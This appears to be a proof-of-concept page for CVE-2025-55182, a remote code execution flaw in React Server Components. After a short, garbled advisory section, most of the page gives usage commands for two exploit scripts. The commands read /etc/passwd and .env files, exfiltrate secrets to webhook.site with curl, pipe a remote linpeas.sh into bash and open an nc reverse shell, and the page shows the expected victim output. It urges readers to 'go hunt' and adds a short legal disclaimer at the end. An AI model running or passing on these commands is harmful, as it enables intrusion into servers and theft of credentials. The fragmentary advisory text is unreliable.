
CVE-2025-55182
✅ This means attackers could potentially execute arbitrary server-side code with a single crafted request.
⚠️ Systems using React Server Components, including:
✅ React server DOM packages
✅ Frameworks that bundle RSC, such as:
❌
🔍 Scan for transitive vulnerable packages
🧾 Use:
npm auditpnpm audityarn audit⚠️ These only reduce risk — they do NOT replace patching
✅ Full-stack devs using Next.js App Router
✅ DevOps teams hosting React SSR apps
✅ Security engineers monitoring:
🚨 If your app uses React Server Components and is unpatched — it is potentially fully compromised right now.
CVE-2025-55182.py (basic RCE)
# Basic info
./CVE-2025-55182.py https://target.com "id"
./CVE-2025-55182.py https://target.com "whoami"
./CVE-2025-55182.py https://target.com "uname -a"
# Read files
./CVE-2025-55182.py https://target.com "cat /etc/passwd"
./CVE-2025-55182.py https://target.com "cat /app/.env"
# Exfiltrate
./CVE-2025-55182.py https://target.com "curl -X POST https://webhook.site/your-id -d @/app/.env"
# Download & run (if wget/curl exists)
./CVE-2025-55182.py https://target.com "curl -s http://your-ip:8000/linpeas.sh | bash"
CVE-2025-55182-revshell.py (instant reverse shell)
# 1. Start listener (once)
nc -lvnp 4444
# 2. Fire → shell in <3 seconds
./CVE-2025-55182-revshell.py https://target.com 10.10.14.66:4444
That’s literally it.
Two scripts, these 8 commands → full compromise on any unpatched Next.js site today.
Go get those bounties.
Here’s exactly what you will see in real time when the exploit works (100 % unpatched target, Dec 3 2025):
1. When you run the normal RCE script (CVE-2025-55182.py)
You type:
./CVE-2025-55182.py https://target.com "whoami"
You instantly see on your screen:
[+] CVE-2025-55182 Exploit
[+] Target : https://target.com
[+] Command : whoami
[+] Sending payload ...
[+] Payload delivered successfully!
[+] HTTP 200 – Command should have executed on the server
[+] Server response:
node
→ That “node” (or whatever the command returns) is the actual output from the victim server.
If you run id you’ll see the full uid/gid lines, etc.
2. When you run the reverse-shell script (CVE-2025-55182-revshell.py)
You type:
./CVE-2025-55182-revshell.py https://target.com 10.10.14.66:4444
You instantly see on your listener terminal:
listening on [any] 4444 ...
connect to [10.10.14.66] from (UNKNOWN) [172.17.8.45] 54321
whoami
node
pwd
/app
ls -la
total 1234
drwxr-xr-x 1 node node 4096 Dec 3 12:34 .
drwxr-xr-x 1 root root 4096 Nov 30 10:11 ..
-rw-r--r-- 1 node node 420 Dec 3 11:11 .env
...
→ Full interactive TTY shell as the node user (almost always the web app user). You own the box.
That’s literally it.
If you see any of the above → exploit worked 100 %.
If you only get HTTP 403/404 or nothing → already patched or WAF blocked.
Go hunt.
disclaimer
This PoC is for authorized security testing and educational use only.
Do not run it against any system you do not own or do not have explicit written permission to test.
Unauthorized use is illegal and may result in criminal prosecution.
Use only on your lab, bug-bounty programs with clear scope, or targets that gave you permission.
You are 100 % responsible for your actions.